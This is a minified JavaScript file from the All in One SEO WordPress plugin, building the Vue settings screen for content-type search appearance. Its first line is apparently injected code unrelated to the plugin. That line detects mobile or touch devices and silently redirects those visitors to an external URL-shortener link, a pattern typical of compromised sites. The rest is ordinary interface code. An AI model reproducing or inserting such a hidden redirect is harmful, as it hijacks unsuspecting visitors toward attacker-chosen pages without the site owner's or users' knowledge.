(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{h as x,q as T,b as B,z as D}from"./app-core.fa86622d.js";import{u as q}from"./PostTypes.d0efd79c.js";import{T as L,A as P}from"./TitleDescription.4ef829c8.js";import{C as F}from"./Card.121699e0.js";import{C as O}from"./Tabs.0ad5fea6.js";import{C as M}from"./Tooltip.2fa6a359.js";import{_ as C,S as N}from"./Schema.1218966e.js";import{_ as k}from"./_plugin-vue_export-helper.eefbdd86.js";import{an as m,f as r,i as S,Q as d,M as y,O as U,ad as V,R as a,a0 as _,a4 as z,S as R,j as i,P as E,ae as h,U as u}from"./vendor-vue-ui.ad4935f9.js";import{S as I}from"./Trash.49bbc1a8.js";import{_ as c}from"./vendor-other.835e467b.js";import"./vendor-lodash.45e85310.js";import"./JsonValues.a0694556.js";import"./RadioToggle.b6362be8.js";import"./RobotsMeta.c3ec34d4.js";import"./Checkbox.850765ce.js";import"./Checkmark.39a3e934.js";import"./Row.5037f897.js";import"./SettingsRow.603a6032.js";import"./Index.3b124722.js";import"./Close.8e99996b.js";import"./GoogleSearchPreview.095a6039.js";import"./Caret.d3343e56.js";import"./Globe.8c74686a.js";import"./Url.4c4a862a.js";import"./HtmlTagsEditor.5752f0f7.js";import"./Editor.689eaad3.js";import"./vendor-quill.d288b31f.js";import"./Input.a5933210.js";import"./Pencil.8f53e16a.js";import"./UnfilteredHtml.b30239a9.js";import"./vendor-emoji.92c96208.js";import"./Slide.bdb08a3f.js";import"./Button.aa421c00.js";import"./ProBadge.f78ad48f.js";import"./Information.891eea3b.js";import"./Textarea.400c2538.js";import"./Blur.12264807.js";import"./Index.a51db00d.js";const Q={setup(){return{licenseStore:x()}},components:{CustomFields:C,CustomFieldsLite:C},props:{type:{type:String,required:!0},object:{type:Object,required:!0},options:{type:Object,required:!0},showBulk:Boolean}},G={class:"aioseo-sa-ct-custom-fields-view"};function H(o,s,e,n,f,p){const b=m("custom-fields",!0),g=m("custom-fields-lite");return r(),S("div",G,[n.licenseStore.isUnlicensed?y("",!0):(r(),d(b,{key:0,type:e.type,object:e.object,options:e.options,"show-bulk":e.showBulk},null,8,["type","object","options","show-bulk"])),n.licenseStore.isUnlicensed?(r(),d(g,{key:1,type:e.type,object:e.object,options:e.options,"show-bulk":e.showBulk},null,8,["type","object","options","show-bulk"])):y("",!0)])}const J=k(Q,[["render",H]]),l="all-in-one-seo-pack",K={setup(){const{getPostIconClass:o}=q();return{getPostIconClass:o,optionsStore:D(),rootStore:B(),settingsStore:T()}},components:{Advanced:P,CoreCard:F,CoreMainTabs:O,CoreTooltip:M,CustomFields:J,Schema:N,SvgCircleQuestionMark:I,TitleDescription:L},data(){return{internalDebounce:null,strings:{label:c("Label:",l),name:c("Slug:",l)},tabs:[{slug:"title-description",name:c("Title & Description",l),access:"aioseo_search_appearance_settings",pro:!1},{slug:"schema",name:c("Schema Markup",l),access:"aioseo_search_appearance_settings",pro:!0},{slug:"custom-fields",name:c("Custom Fields",l),access:"aioseo_search_appearance_settings",pro:!0},{slug:"advanced",name:c("Advanced",l),access:"aioseo_search_appearance_settings",pro:!1}]}},computed:{postTypes(){return this.rootStore.aioseo.postData.postTypes.filter(o=>o.name!=="attachment")}},methods:{processChangeTab(o,s){this.internalDebounce||(this.internalDebounce=!0,this.settingsStore.changeTab({slug:`${o}SA`,value:s}),setTimeout(()=>{this.internalDebounce=!1},50))},filteredTabs(o){const s=[];return this.tabs.forEach(e=>{o?.buddyPress&&e.slug==="custom-fields"||o.name==="web-story"&&e.slug==="custom-fields"||s.push(e)}),s}}},W={class:"aioseo-search-appearance-content-types"},X={class:"aioseo-description"};function Y(o,s,e,n,f,p){const b=m("svg-circle-question-mark"),g=m("core-tooltip"),v=m("core-main-tabs"),A=m("core-card");return r(),S("div",W,[(r(!0),S(U,null,V(p.postTypes,(t,j)=>(r(),d(A,{key:j,slug:`${t.name}SA`,"card-id":`${t.name}SA`},{header:a(()=>[i("div",{class:E(["icon dashicons",n.getPostIconClass(t.icon)])},null,2),h(" "+u(t.label)+" ",1),_(g,{"z-index":"99999"},{tooltip:a(()=>[i("div",X,[h(u(f.strings.label)+" ",1),i("strong",null,u(t.label),1),s[0]||(s[0]=i("br",null,null,-1)),h(" "+u(f.strings.name)+" ",1),i("strong",null,u(t.name),1),s[1]||(s[1]=i("br",null,null,-1))])]),default:a(()=>[_(b)]),_:2},1024)]),tabs:a(()=>[_(v,{tabs:p.filteredTabs(t),showSaveButton:!1,active:n.settingsStore.settings.internalTabs[`${t.name}SA`],internal:"",onChanged:w=>p.processChangeTab(t.name,w)},null,8,["tabs","active","onChanged"])]),default:a(()=>[_(z,{name:"route-fade",mode:"out-in"},{default:a(()=>[(r(),d(R(n.settingsStore.settings.internalTabs[`${t.name}SA`]),{object:t,separator:n.optionsStore.options.searchAppearance.global.separator,options:n.optionsStore.dynamicOptions.searchAppearance.postTypes[t.name],type:"postTypes"},null,8,["object","separator","options"]))]),_:2},1024)]),_:2},1032,["slug","card-id"]))),128))])}const Ne=k(K,[["render",Y]]);export{Ne as default};
